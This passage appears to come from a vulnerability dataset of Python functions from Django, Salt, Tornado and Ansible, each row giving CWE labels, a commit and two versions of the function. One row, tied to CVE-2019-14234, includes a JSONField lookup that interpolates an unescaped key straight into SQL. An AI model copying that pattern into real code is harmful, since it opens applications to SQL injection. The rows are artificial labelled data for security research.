                if from_model == to_model and f.rel.symmetrical and not f.rel.through._meta.auto_created:
                    e.add(opts, ""Many-to-many fields with intermediate tables cannot be symmetrical."")
                seen_from, seen_to, seen_self = False, False, 0
                for inter_field in f.rel.through._meta.fields:
                    rel_to = getattr(inter_field.rel, 'to', None)
                    if from_model == to_model:  # relation to self
                        if rel_to == from_model:
                            seen_self += 1
                        if seen_self > 2:
                            e.add(opts, ""Intermediary model %s has more than ""
                                ""two foreign keys to %s, which is ambiguous ""
                                ""and is not permitted."" % (
                                    f.rel.through._meta.object_name,
                                    from_model._meta.object_name
                                )
                            )
                    else:
                        if rel_to == from_model:
                            if seen_from:
                                e.add(opts, ""Intermediary model %s has more ""
                                    ""than one foreign key to %s, which is ""
                                    ""ambiguous and is not permitted."" % (
                                        f.rel.through._meta.object_name,
                                         from_model._meta.object_name
                                     )
                                 )
                            else:
                                seen_from = True
                        elif rel_to == to_model:
                            if seen_to:
                                e.add(opts, ""Intermediary model %s has more ""
                                    ""than one foreign key to %s, which is ""
                                    ""ambiguous and is not permitted."" % (
                                        f.rel.through._meta.object_name,
                                        rel_to._meta.object_name
                                    )
                                )
                            else:
                                seen_to = True
                if f.rel.through not in models.get_models(include_auto_created=True):
                    e.add(opts, ""'%s' specifies an m2m relation through model ""
                        ""%s, which has not been installed."" % (f.name, f.rel.through)
                    )
                signature = (f.rel.to, cls, f.rel.through)
                if signature in seen_intermediary_signatures:
                    e.add(opts, ""The model %s has two manually-defined m2m ""
                        ""relations through the model %s, which is not ""
                        ""permitted. Please consider using an extra field on ""
                        ""your intermediary model instead."" % (
                            cls._meta.object_name,
                            f.rel.through._meta.object_name
                        )
                    )
                else:
                    seen_intermediary_signatures.append(signature)
                if not f.rel.through._meta.auto_created:
                    seen_related_fk, seen_this_fk = False, False
                    for field in f.rel.through._meta.fields:
                        if field.rel:
                            if not seen_related_fk and field.rel.to == f.rel.to:
                                seen_related_fk = True
                            elif field.rel.to == cls:
                                seen_this_fk = True
                    if not seen_related_fk or not seen_this_fk:
                        e.add(opts, ""'%s' is a manually-defined m2m relation ""
                            ""through model %s, which does not have foreign keys ""
                            ""to %s and %s"" % (f.name, f.rel.through._meta.object_name,
                                f.rel.to._meta.object_name, cls._meta.object_name)
                        )
            elif isinstance(f.rel.through, six.string_types):
                e.add(opts, ""'%s' specifies an m2m relation through model %s, ""
                    ""which has not been installed"" % (f.name, f.rel.through)
                )

            rel_opts = f.rel.to._meta
            rel_name = RelatedObject(f.rel.to, cls, f).get_accessor_name()
            rel_query_name = f.related_query_name()
            # If rel_name is none, there is no reverse accessor (this only
            # occurs for symmetrical m2m relations to self). If this is the
            # case, there are no clashes to check for this field, as there are
            # no reverse descriptors for this field.
            if rel_name is not None:
                for r in rel_opts.fields:
                    if r.name == rel_name:
                        e.add(opts, ""Accessor for m2m field '%s' clashes with field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.name, f.name))
                    if r.name == rel_query_name:
                        e.add(opts, ""Reverse query name for m2m field '%s' clashes with field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.name, f.name))
                for r in rel_opts.local_many_to_many:
                    if r.name == rel_name:
                        e.add(opts, ""Accessor for m2m field '%s' clashes with m2m field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.name, f.name))
                    if r.name == rel_query_name:
                        e.add(opts, ""Reverse query name for m2m field '%s' clashes with m2m field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.name, f.name))
                for r in rel_opts.get_all_related_many_to_many_objects():
                    if r.field is not f:
                        if r.get_accessor_name() == rel_name:
                            e.add(opts, ""Accessor for m2m field '%s' clashes with related m2m field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.get_accessor_name(), f.name))
                        if r.get_accessor_name() == rel_query_name:
                            e.add(opts, ""Reverse query name for m2m field '%s' clashes with related m2m field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.get_accessor_name(), f.name))
                for r in rel_opts.get_all_related_objects():
                    if r.get_accessor_name() == rel_name:
                        e.add(opts, ""Accessor for m2m field '%s' clashes with related field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.get_accessor_name(), f.name))
                    if r.get_accessor_name() == rel_query_name:
                        e.add(opts, ""Reverse query name for m2m field '%s' clashes with related field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.get_accessor_name(), f.name))

        # Check ordering attribute.
        if opts.ordering:
            for field_name in opts.ordering:
                if field_name == '?':
                    continue
                if field_name.startswith('-'):
                    field_name = field_name[1:]
                if opts.order_with_respect_to and field_name == '_order':
                    continue
                # Skip ordering in the format field1__field2 (FIXME: checking
                # this format would be nice, but it's a little fiddly).
                if '__' in field_name:
                    continue
                # Skip ordering on pk. This is always a valid order_by field
                # but is an alias and therefore won't be found by opts.get_field.
                if field_name == 'pk':
                    continue
                try:
                    opts.get_field(field_name, many_to_many=False)
                except models.FieldDoesNotExist:
                    e.add(opts, '""ordering"" refers to ""%s"", a field that doesn\'t exist.' % field_name)

        # Check unique_together.
        for ut in opts.unique_together:
            validate_local_fields(e, opts, ""unique_together"", ut)
        if not isinstance(opts.index_together, collections.Sequence):
            e.add(opts, '""index_together"" must a sequence')
        else:
            for it in opts.index_together:
                validate_local_fields(e, opts, ""index_together"", it)

    return len(e.errors)"
,UNKNOWN,UNKNOWN,tests/pytests/functional/states/file/test_symlink.py,1,"def test_symlink_test(file, tmp_path):
    """"""
    file.symlink
    """"""
    symlink = tmp_path / ""symlink""
    target = tmp_path / ""target""

    # Make sure the symlink target exists
    target.mkdir()

    ret = file.symlink(str(symlink), target=str(target), test=True)
    assert ret.result is None
    assert symlink.exists() is False",CWE-703,saltstack/salt,5b62c1fb9c3c8d6ac8ff0b7ab2e046bde086c404,"def test_symlink_test(file, tmp_path):
    """"""
    file.symlink
    """"""
    symlink = tmp_path / ""symlink""
    target = tmp_path / ""target""

    # Make sure the symlink target exists
    target.mkdir()

    ret = file.symlink(str(symlink), target=str(target), test=True)
    assert ret.result is None
    assert symlink.exists() is False"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/models/sql/where.py,0,"def make_atom(self, child, qn):
        """"""
        Turn a tuple (table_alias, field_name, field_class, lookup_type, value)
        into valid SQL.

        Returns the string for the SQL fragment and the parameters to use for
        it.
        """"""
        table_alias, name, field, lookup_type, value = child
        if table_alias:
            lhs = '%s.%s' % (qn(table_alias), qn(name))
        else:
            lhs = qn(name)
        db_type = field and field.db_type() or None
        field_sql = connection.ops.field_cast_sql(db_type) % lhs

        if isinstance(value, datetime.datetime):
            cast_sql = connection.ops.datetime_cast_sql()
        else:
            cast_sql = '%s'

        if field:
            params = field.get_db_prep_lookup(lookup_type, value)
        else:
            params = Field().get_db_prep_lookup(lookup_type, value)
        if isinstance(params, QueryWrapper):
            extra, params = params.data
        else:
            extra = ''

        if lookup_type in connection.operators:
            format = ""%s %%s %s"" % (connection.ops.lookup_cast(lookup_type),
                    extra)
            return (format % (field_sql,
                    connection.operators[lookup_type] % cast_sql), params)

        if lookup_type == 'in':
            if not value:
                raise EmptyResultSet
            if extra:
                return ('%s IN %s' % (field_sql, extra), params)
            return ('%s IN (%s)' % (field_sql, ', '.join(['%s'] * len(value))),
                    params)
        elif lookup_type in ('range', 'year'):
            return ('%s BETWEEN %%s and %%s' % field_sql, params)
        elif lookup_type in ('month', 'day'):
            return ('%s = %%s' % connection.ops.date_extract_sql(lookup_type,
                    field_sql), params)
        elif lookup_type == 'isnull':
            return ('%s IS %sNULL' % (field_sql, (not value and 'NOT ' or '')),
                    params)
        elif lookup_type == 'search':
            return (connection.ops.fulltext_search_sql(field_sql), params)
        elif lookup_type in ('regex', 'iregex'):
            return connection.ops.regex_lookup(lookup_type) % (field_sql, cast_sql), params

        raise TypeError('Invalid lookup_type: %r' % lookup_type)",CWE-Unknown,django/django,382d31a981a6682484e2f8346b939429588cb562,"def make_atom(self, child, qn):
        """"""
        Turn a tuple (table_alias, field_name, field_class, lookup_type, value)
        into valid SQL.

        Returns the string for the SQL fragment and the parameters to use for
        it.
        """"""
        table_alias, name, field, lookup_type, value = child
        if table_alias:
            lhs = '%s.%s' % (qn(table_alias), qn(name))
        else:
            lhs = qn(name)
        db_type = field and field.db_type() or None
        field_sql = connection.ops.field_cast_sql(db_type) % lhs

        if isinstance(value, datetime.datetime):
            cast_sql = connection.ops.datetime_cast_sql()
        else:
            cast_sql = '%s'

        if field:
            params = field.get_db_prep_lookup(lookup_type, value)
        else:
            params = Field().get_db_prep_lookup(lookup_type, value)
        if isinstance(params, QueryWrapper):
            extra, params = params.data
        else:
            extra = ''

        if lookup_type in connection.operators:
            format = ""%s %%s %s"" % (connection.ops.lookup_cast(lookup_type),
                    extra)
            return (format % (field_sql,
                    connection.operators[lookup_type] % cast_sql), params)

        if lookup_type == 'in':
            if not value:
                raise EmptyResultSet
            if extra:
                return ('%s IN %s' % (field_sql, extra), params)
            return ('%s IN (%s)' % (field_sql, ', '.join(['%s'] * len(value))),
                    params)
        elif lookup_type in ('range', 'year'):
            return ('%s BETWEEN %%s and %%s' % field_sql, params)
        elif lookup_type in ('month', 'day'):
            return ('%s = %%s' % connection.ops.date_extract_sql(lookup_type,
                    field_sql), params)
        elif lookup_type == 'isnull':
            return ('%s IS %sNULL' % (field_sql, (not value and 'NOT ' or '')),
                    params)
        elif lookup_type == 'search':
            return (connection.ops.fulltext_search_sql(field_sql), params)
        elif lookup_type in ('regex', 'iregex'):
            return connection.ops.regex_lookup % (field_sql, cast_sql), params

        raise TypeError('Invalid lookup_type: %r' % lookup_type)"
,UNKNOWN,UNKNOWN,tests/forms_tests/tests/test_forms.py,1,"def test_callable_initial_data(self):
        # The previous technique dealt with raw values as initial data, but it's also
        # possible to specify callable data.
        class UserRegistration(Form):
            username = CharField(max_length=10)
            password = CharField(widget=PasswordInput)
            options = MultipleChoiceField(choices=[('f','foo'),('b','bar'),('w','whiz')])

        # We need to define functions that get called later.)
        def initial_django():
            return 'django'

        def initial_stephane():
            return 'stephane'

        def initial_options():
            return ['f','b']

        def initial_other_options():
            return ['b','w']

        # Here, we're not submitting any data, so the initial value will be displayed.)
        p = UserRegistration(initial={'username': initial_django, 'options': initial_options}, auto_id=False)
        self.assertHTMLEqual(p.as_ul(), """"""<li>Username: <input type=""text"" name=""username"" value=""django"" maxlength=""10"" /></li>
<li>Password: <input type=""password"" name=""password"" /></li>
<li>Options: <select multiple=""multiple"" name=""options"">
<option value=""f"" selected=""selected"">foo</option>
<option value=""b"" selected=""selected"">bar</option>
<option value=""w"">whiz</option>
</select></li>"""""")

        # The 'initial' parameter is meaningless if you pass data.
        p = UserRegistration({}, initial={'username': initial_django, 'options': initial_options}, auto_id=False)
        self.assertHTMLEqual(p.as_ul(), """"""<li><ul class=""errorlist""><li>This field is required.</li></ul>Username: <input type=""text"" name=""username"" maxlength=""10"" /></li>
<li><ul class=""errorlist""><li>This field is required.</li></ul>Password: <input type=""password"" name=""password"" /></li>
<li><ul class=""errorlist""><li>This field is required.</li></ul>Options: <select multiple=""multiple"" name=""options"">
<option value=""f"">foo</option>
<option value=""b"">bar</option>
<option value=""w"">whiz</option>
</select></li>"""""")
        p = UserRegistration({'username': ''}, initial={'username': initial_django}, auto_id=False)
        self.assertHTMLEqual(p.as_ul(), """"""<li><ul class=""errorlist""><li>This field is required.</li></ul>Username: <input type=""text"" name=""username"" maxlength=""10"" /></li>
<li><ul class=""errorlist""><li>This field is required.</li></ul>Password: <input type=""password"" name=""password"" /></li>
<li><ul class=""errorlist""><li>This field is required.</li></ul>Options: <select multiple=""multiple"" name=""options"">
<option value=""f"">foo</option>
<option value=""b"">bar</option>
<option value=""w"">whiz</option>
</select></li>"""""")
        p = UserRegistration({'username': 'foo', 'options':['f','b']}, initial={'username': initial_django}, auto_id=False)
        self.assertHTMLEqual(p.as_ul(), """"""<li>Username: <input type=""text"" name=""username"" value=""foo"" maxlength=""10"" /></li>
<li><ul class=""errorlist""><li>This field is required.</li></ul>Password: <input type=""password"" name=""password"" /></li>
<li>Options: <select multiple=""multiple"" name=""options"">
<option value=""f"" selected=""selected"">foo</option>
<option value=""b"" selected=""selected"">bar</option>
<option value=""w"">whiz</option>
</select></li>"""""")

        # A callable 'initial' value is *not* used as a fallback if data is not provided.
        # In this example, we don't provide a value for 'username', and the form raises a
        # validation error rather than using the initial value for 'username'.
        p = UserRegistration({'password': 'secret'}, initial={'username': initial_django, 'options': initial_options})
        self.assertEqual(p.errors['username'], ['This field is required.'])
        self.assertFalse(p.is_valid())

        # If a Form defines 'initial' *and* 'initial' is passed as a parameter to Form(),
        # then the latter will get precedence.
        class UserRegistration(Form):
            username = CharField(max_length=10, initial=initial_django)
            password = CharField(widget=PasswordInput)
            options = MultipleChoiceField(choices=[('f','foo'),('b','bar'),('w','whiz')], initial=initial_other_options)

        p = UserRegistration(auto_id=False)
        self.assertHTMLEqual(p.as_ul(), """"""<li>Username: <input type=""text"" name=""username"" value=""django"" maxlength=""10"" /></li>
<li>Password: <input type=""password"" name=""password"" /></li>
<li>Options: <select multiple=""multiple"" name=""options"">
<option value=""f"">foo</option>
<option value=""b"" selected=""selected"">bar</option>
<option value=""w"" selected=""selected"">whiz</option>
</select></li>"""""")
        p = UserRegistration(initial={'username': initial_stephane, 'options': initial_options}, auto_id=False)
        self.assertHTMLEqual(p.as_ul(), """"""<li>Username: <input type=""text"" name=""username"" value=""stephane"" maxlength=""10"" /></li>
<li>Password: <input type=""password"" name=""password"" /></li>
<li>Options: <select multiple=""multiple"" name=""options"">
<option value=""f"" selected=""selected"">foo</option>
<option value=""b"" selected=""selected"">bar</option>
<option value=""w"">whiz</option>
</select></li>"""""")",CWE-259,django/django,5649c0af9d90ba1368abbe6c233ee61c976c8137,"def test_callable_initial_data(self):
        # The previous technique dealt with raw values as initial data, but it's also
        # possible to specify callable data.
        class UserRegistration(Form):
            username = CharField(max_length=10)
            password = CharField(widget=PasswordInput)
            options = MultipleChoiceField(choices=[('f','foo'),('b','bar'),('w','whiz')])

        # We need to define functions that get called later.)
        def initial_django():
            return 'django'

        def initial_stephane():
            return 'stephane'

        def initial_options():
            return ['f','b']

        def initial_other_options():
            return ['b','w']

        # Here, we're not submitting any data, so the initial value will be displayed.)
        p = UserRegistration(initial={'username': initial_django, 'options': initial_options}, auto_id=False)
        self.assertHTMLEqual(p.as_ul(), """"""<li>Username: <input type=""text"" name=""username"" value=""django"" maxlength=""10"" /></li>
<li>Password: <input type=""password"" name=""password"" /></li>
<li>Options: <select multiple=""multiple"" name=""options"">
<option value=""f"" selected=""selected"">foo</option>
<option value=""b"" selected=""selected"">bar</option>
<option value=""w"">whiz</option>
</select></li>"""""")

        # The 'initial' parameter is meaningless if you pass data.
        p = UserRegistration({}, initial={'username': initial_django, 'options': initial_options}, auto_id=False)
        self.assertHTMLEqual(p.as_ul(), """"""<li><ul class=""errorlist""><li>This field is required.</li></ul>Username: <input type=""text"" name=""username"" maxlength=""10"" /></li>
<li><ul class=""errorlist""><li>This field is required.</li></ul>Password: <input type=""password"" name=""password"" /></li>
<li><ul class=""errorlist""><li>This field is required.</li></ul>Options: <select multiple=""multiple"" name=""options"">
<option value=""f"">foo</option>
<option value=""b"">bar</option>
<option value=""w"">whiz</option>
</select></li>"""""")
        p = UserRegistration({'username': ''}, initial={'username': initial_django}, auto_id=False)
        self.assertHTMLEqual(p.as_ul(), """"""<li><ul class=""errorlist""><li>This field is required.</li></ul>Username: <input type=""text"" name=""username"" maxlength=""10"" /></li>
<li><ul class=""errorlist""><li>This field is required.</li></ul>Password: <input type=""password"" name=""password"" /></li>
<li><ul class=""errorlist""><li>This field is required.</li></ul>Options: <select multiple=""multiple"" name=""options"">
<option value=""f"">foo</option>
<option value=""b"">bar</option>
<option value=""w"">whiz</option>
</select></li>"""""")
        p = UserRegistration({'username': 'foo', 'options':['f','b']}, initial={'username': initial_django}, auto_id=False)
        self.assertHTMLEqual(p.as_ul(), """"""<li>Username: <input type=""text"" name=""username"" value=""foo"" maxlength=""10"" /></li>
<li><ul class=""errorlist""><li>This field is required.</li></ul>Password: <input type=""password"" name=""password"" /></li>
<li>Options: <select multiple=""multiple"" name=""options"">
<option value=""f"" selected=""selected"">foo</option>
<option value=""b"" selected=""selected"">bar</option>
<option value=""w"">whiz</option>
</select></li>"""""")

        # A callable 'initial' value is *not* used as a fallback if data is not provided.
        # In this example, we don't provide a value for 'username', and the form raises a
        # validation error rather than using the initial value for 'username'.
        p = UserRegistration({'password': 'secret'}, initial={'username': initial_django, 'options': initial_options})
        self.assertEqual(p.errors['username'], ['This field is required.'])
        self.assertFalse(p.is_valid())

        # If a Form defines 'initial' *and* 'initial' is passed as a parameter to Form(),
        # then the latter will get precedence.
        class UserRegistration(Form):
           username = CharField(max_length=10, initial=initial_django)
           password = CharField(widget=PasswordInput)
           options = MultipleChoiceField(choices=[('f','foo'),('b','bar'),('w','whiz')], initial=initial_other_options)

        p = UserRegistration(auto_id=False)
        self.assertHTMLEqual(p.as_ul(), """"""<li>Username: <input type=""text"" name=""username"" value=""django"" maxlength=""10"" /></li>
<li>Password: <input type=""password"" name=""password"" /></li>
<li>Options: <select multiple=""multiple"" name=""options"">
<option value=""f"">foo</option>
<option value=""b"" selected=""selected"">bar</option>
<option value=""w"" selected=""selected"">whiz</option>
</select></li>"""""")
        p = UserRegistration(initial={'username': initial_stephane, 'options': initial_options}, auto_id=False)
        self.assertHTMLEqual(p.as_ul(), """"""<li>Username: <input type=""text"" name=""username"" value=""stephane"" maxlength=""10"" /></li>
<li>Password: <input type=""password"" name=""password"" /></li>
<li>Options: <select multiple=""multiple"" name=""options"">
<option value=""f"" selected=""selected"">foo</option>
<option value=""b"" selected=""selected"">bar</option>
<option value=""w"">whiz</option>
</select></li>"""""")"
,UNKNOWN,UNKNOWN,saltapi/netapi/rest_cherrypy/app.py,1,"def POST(self, **kwargs):
        '''
        Authenticate against Salt's eauth system

        .. versionchanged:: 0.8.0
            No longer returns a 302 redirect on success.

        .. http:post:: /login

            **Example request**::

                % curl -si localhost:8000/login \\
                        -H ""Accept: application/json"" \\
                        -d username='saltuser' \\
                        -d password='saltpass' \\
                        -d eauth='pam'

            .. code-block:: http

                POST / HTTP/1.1
                Host: localhost:8000
                Content-Length: 42
                Content-Type: application/x-www-form-urlencoded
                Accept: application/json

                username=saltuser&password=saltpass&eauth=pam

            **Example response**:

            .. code-block:: http

                HTTP/1.1 200 OK
                Content-Type: application/json
                Content-Length: 206
                X-Auth-Token: 6d1b722e
                Set-Cookie: session_id=6d1b722e; expires=Sat, 17 Nov 2012 03:23:52 GMT; Path=/

                {""return"": {
                    ""token"": ""6d1b722e"",
                    ""start"": 1363805943.776223,
                    ""expire"": 1363849143.776224,
                    ""user"": ""saltuser"",
                    ""eauth"": ""pam"",
                    ""perms"": [
                        ""grains.*"",
                        ""status.*"",
                        ""sys.*"",
                        ""test.*""
                    ]
                }}

        :form eauth: the eauth backend configured in your master config
        :form username: username
        :form password: password
        :status 200: success
        :status 406: requested Content-Type not available
        '''
        auth = salt.auth.LoadAuth(self.opts)

        # the urlencoded_processor will wrap this in a list
        if isinstance(cherrypy.serving.request.lowstate, list):
            creds = cherrypy.serving.request.lowstate[0]
        else:
            creds = cherrypy.serving.request.lowstate

        token = auth.mk_token(creds)
        cherrypy.response.headers['X-Auth-Token'] = cherrypy.session.id
        cherrypy.session['token'] = token['token']
        cherrypy.session['timeout'] = (token['expire'] - token['start']) / 60

        # Grab eauth config for the current backend for the current user
        perms = self.opts['external_auth'][token['eauth']][token['name']]

        return {'return': {
            'token': cherrypy.session.id,
            'expire': token['expire'],
            'start': token['start'],
            'user': token['name'],
            'eauth': token['eauth'],
            'perms': perms,
        }}",CWE-259,saltstack/salt,72c06b39218666c82636cf59515115173460d934,"def POST(self, **kwargs):
        '''
        Authenticate against Salt's eauth system

        .. http:post:: /login

            **Example request**::

                % curl -si localhost:8000/login \\
                        -H ""Accept: application/json"" \\
                        -d username='saltuser' \\
                        -d password='saltpass' \\
                        -d eauth='pam'

            .. code-block:: http

                POST / HTTP/1.1
                Host: localhost:8000
                Content-Length: 42
                Content-Type: application/x-www-form-urlencoded
                Accept: application/json

                username=saltuser&password=saltpass&eauth=pam

            **Example response**:

            .. code-block:: http

                HTTP/1.1 200 OK
                Content-Type: application/json
                Content-Length: 206
                X-Auth-Token: 6d1b722e
                Set-Cookie: session_id=6d1b722e; expires=Sat, 17 Nov 2012 03:23:52 GMT; Path=/

                {""return"": {
                    ""token"": ""6d1b722e"",
                    ""start"": 1363805943.776223,
                    ""expire"": 1363849143.776224,
                    ""user"": ""saltuser"",
                    ""eauth"": ""pam"",
                    ""perms"": [
                        ""grains.*"",
                        ""status.*"",
                        ""sys.*"",
                        ""test.*""
                    ]
                }}

        :form eauth: the eauth backend configured in your master config
        :form username: username
        :form password: password
        :status 200: success
        :status 406: requested Content-Type not available
        '''
        auth = salt.auth.LoadAuth(self.opts)

        # the urlencoded_processor will wrap this in a list
        if isinstance(cherrypy.serving.request.lowstate, list):
            creds = cherrypy.serving.request.lowstate[0]
        else:
            creds = cherrypy.serving.request.lowstate

        token = auth.mk_token(creds)
        cherrypy.response.headers['X-Auth-Token'] = cherrypy.session.id
        cherrypy.session['token'] = token['token']
        cherrypy.session['timeout'] = (token['expire'] - token['start']) / 60

        # Grab eauth config for the current backend for the current user
        perms = self.opts['external_auth'][token['eauth']][token['name']]

        return {'return': {
            'token': cherrypy.session.id,
            'expire': token['expire'],
            'start': token['start'],
            'user': token['name'],
            'eauth': token['eauth'],
            'perms': perms,
        }}"
functions_for_django_with_cwe.csv,CVE-2019-14234,UNKNOWN,django/contrib/postgres/fields/jsonb.py,0,"def as_sql(self, compiler, connection):
        key_transforms = [self.key_name]
        previous = self.lhs
        while isinstance(previous, KeyTransform):
            key_transforms.insert(0, previous.key_name)
            previous = previous.lhs
        lhs, params = compiler.compile(previous)
        if len(key_transforms) > 1:
            return ""(%s %s %%s)"" % (lhs, self.nested_operator), [key_transforms] + params
        try:
            lookup = int(self.key_name)
        except ValueError:
            lookup = self.key_name
        return '(%s %s %%s)' % (lhs, self.operator), [lookup] + params",CWE-Unknown,django/django,ed682a24fca774818542757651bfba576c3fc3ef,"def as_sql(self, compiler, connection):
        key_transforms = [self.key_name]
        previous = self.lhs
        while isinstance(previous, KeyTransform):
            key_transforms.insert(0, previous.key_name)
            previous = previous.lhs
        lhs, params = compiler.compile(previous)
        if len(key_transforms) > 1:
            return ""(%s %s %%s)"" % (lhs, self.nested_operator), [key_transforms] + params
        try:
            int(self.key_name)
        except ValueError:
            lookup = ""'%s'"" % self.key_name
        else:
            lookup = ""%s"" % self.key_name
        return ""(%s %s %s)"" % (lhs, self.operator, lookup), params"
,UNKNOWN,UNKNOWN,tornado/web.py,1,"def get(self, path, include_body=True):
        path = self.parse_url_path(path)
        abspath = os.path.abspath(os.path.join(self.root, path))
        # os.path.abspath strips a trailing /
        # it needs to be temporarily added back for requests to root/
        if not (abspath + os.path.sep).startswith(self.root):
            raise HTTPError(403, ""%s is not in root static directory"", path)
        if os.path.isdir(abspath) and self.default_filename is not None:
            # need to look at the request.path here for when path is empty
            # but there is some prefix to the path that was already
            # trimmed by the routing
            if not self.request.path.endswith(""/""):
                self.redirect(self.request.path + ""/"")
                return
            abspath = os.path.join(abspath, self.default_filename)
        if not os.path.exists(abspath):
            raise HTTPError(404)
        if not os.path.isfile(abspath):
            raise HTTPError(403, ""%s is not a file"", path)

        stat_result = os.stat(abspath)
        modified = datetime.datetime.utcfromtimestamp(stat_result[stat.ST_MTIME])

        self.set_header(""Last-Modified"", modified)

        mime_type, encoding = mimetypes.guess_type(abspath)
        if mime_type:
            self.set_header(""Content-Type"", mime_type)

        cache_time = self.get_cache_time(path, modified, mime_type)

        if cache_time > 0:
            self.set_header(""Expires"", datetime.datetime.utcnow() +
                            datetime.timedelta(seconds=cache_time))
            self.set_header(""Cache-Control"", ""max-age="" + str(cache_time))

        self.set_extra_headers(path)

        # Check the If-Modified-Since, and don't send the result if the
        # content has not been modified
        ims_value = self.request.headers.get(""If-Modified-Since"")
        if ims_value is not None:
            date_tuple = email.utils.parsedate(ims_value)
            if_since = datetime.datetime(*date_tuple[:6])
            if if_since >= modified:
                self.set_status(304)
                return

        self.set_header(""Accept-Ranges"", ""bytes"")
        request_range = None
        range_header = self.request.headers.get(""Range"")
        if range_header:
            request_range = httputil.parse_request_range(range_header)
            if not request_range:
                # 416: Range Not Satisfiable
                self.set_status(416)
                self.set_header(""Content-Type"", ""text/plain"")
                self.write(utf8(""The provided Range header is not valid: %r\n""
                                ""Note: multiple ranges are not supported.""
                                 %(range_header, )))
                return

        with open(abspath, ""rb"") as file:
            data = file.read()
            if request_range:
                content_range = httputil.get_content_range(data, request_range)
                self.set_header(""Content-Range"", content_range)
                data = data[request_range]
            if include_body:
                self.write(data)
            else:
                assert self.request.method == ""HEAD""
                self.set_header(""Content-Length"", len(data))",CWE-703,tornadoweb/tornado,640db694490661b6264ff3d06747d047ae4e39ea,"def get(self, path, include_body=True):
        path = self.parse_url_path(path)
        abspath = os.path.abspath(os.path.join(self.root, path))
        # os.path.abspath strips a trailing /
        # it needs to be temporarily added back for requests to root/
        if not (abspath + os.path.sep).startswith(self.root):
            raise HTTPError(403, ""%s is not in root static directory"", path)
        if os.path.isdir(abspath) and self.default_filename is not None:
            # need to look at the request.path here for when path is empty
            # but there is some prefix to the path that was already
            # trimmed by the routing
            if not self.request.path.endswith(""/""):
                self.redirect(self.request.path + ""/"")
                return
            abspath = os.path.join(abspath, self.default_filename)
        if not os.path.exists(abspath):
            raise HTTPError(404)
        if not os.path.isfile(abspath):
            raise HTTPError(403, ""%s is not a file"", path)

        stat_result = os.stat(abspath)
        modified = datetime.datetime.utcfromtimestamp(stat_result[stat.ST_MTIME])

        self.set_header(""Last-Modified"", modified)

        mime_type, encoding = mimetypes.guess_type(abspath)
        if mime_type:
            self.set_header(""Content-Type"", mime_type)

        cache_time = self.get_cache_time(path, modified, mime_type)

        if cache_time > 0:
            self.set_header(""Expires"", datetime.datetime.utcnow() +
                            datetime.timedelta(seconds=cache_time))
            self.set_header(""Cache-Control"", ""max-age="" + str(cache_time))

        self.set_extra_headers(path)

        # Check the If-Modified-Since, and don't send the result if the
        # content has not been modified
        ims_value = self.request.headers.get(""If-Modified-Since"")
        if ims_value is not None:
            date_tuple = email.utils.parsedate(ims_value)
            if_since = datetime.datetime(*date_tuple[:6])
            if if_since >= modified:
                self.set_status(304)
                return

        self.set_header(""Accept-Ranges"", ""bytes"")
        request_range = None
        range_header = self.request.headers.get(""Range"")
        if range_header:
            request_range = httputil.parse_request_range(range_header)
            if not request_range:
                # 416: Range Not Satisfiable
                self.set_status(416)
                self.set_header(""Content-Type"", ""text/plain"")
                self.write(utf8(""The provided Range header is not valid: %r\n""
                                ""Note: multiple ranges are not supported""))
                return

        with open(abspath, ""rb"") as file:
            data = file.read()
            if request_range:
                content_range = httputil.get_content_range(data, request_range)
                self.set_header(""Content-Range"", content_range)
                data = data[request_range]
            if include_body:
                self.write(data)
            else:
                assert self.request.method == ""HEAD""
                self.set_header(""Content-Length"", len(data))"
,UNKNOWN,UNKNOWN,tests/integration/states/test_file.py,1,"def test_managed_latin1_diff(self, name):
        '''
        Tests that latin-1 file contents are represented properly in the diff
        '''
        # Lay down the initial file
        ret = self.run_state(
            'file.managed',
            name=name,
            source='salt://issue-48777/old.html')
        ret = ret[next(iter(ret))]
        assert ret['result'] is True, ret

        # Replace it with the new file and check the diff
        ret = self.run_state(
            'file.managed',
            name=name,
            source='salt://issue-48777/new.html')
        ret = ret[next(iter(ret))]
        assert ret['result'] is True, ret
        diff_lines = ret['changes']['diff'].split(os.linesep)
        assert '+räksmörgås' in diff_lines, diff_lines",CWE-703,saltstack/salt,7650208dbc5ab85dc40b2c05a29911eb12e9e469,"def test_managed_latin1_diff(self, name):
        '''
        Tests that latin-1 file contents are represented properly in the diff
        '''
        # Lay down the initial file
        ret = self.run_state(
            'file.managed',
            name=name,
            source='salt://issue-48777/old.html')
        ret = ret[next(iter(ret))]
        assert ret['result'] is True, ret

        # Replace it with the new file and check the diff
        ret = self.run_state(
            'file.managed',
            name=name,
            source='salt://issue-48777/new.html')
        ret = ret[next(iter(ret))]
        assert ret['result'] is True, ret
        diff_lines = ret['changes']['diff'].split('\n')
        assert '+räksmörgås' in diff_lines, diff_lines"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/errors.py,0,"def __init__(self, message):
        super(AnsibleValidationError, self).__init__(message)
        self.error_message = message
        """"""The error message passed in when the exception was raised.""""""",,ansible/ansible,2743ea1e699d67b3910c263f82a6fe3f66db2592,"def __init__(self, message):
        super(AnsibleValidationError, self).__init__(message)
        self.error_message = message"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/iostream_test.py,0,"def test_streaming_until_close(self):
        server, client = self.make_iostream_pair()
        try:
            chunks = []
            closed = [False]

            def streaming_callback(data):
                chunks.append(data)
                self.stop()
            def close_callback(data):
                assert not data, data
                closed[0] = True
                self.stop()
            client.read_until_close(callback=close_callback,
                                    streaming_callback=streaming_callback)
            server.write(b""1234"")
            self.wait(condition=lambda: len(chunks) == 1)
            server.write(b""5678"", self.stop)
            self.wait()
            server.close()
            self.wait(condition=lambda: closed[0])
            self.assertEqual(chunks, [b""1234"", b""5678""])
        finally:
            server.close()
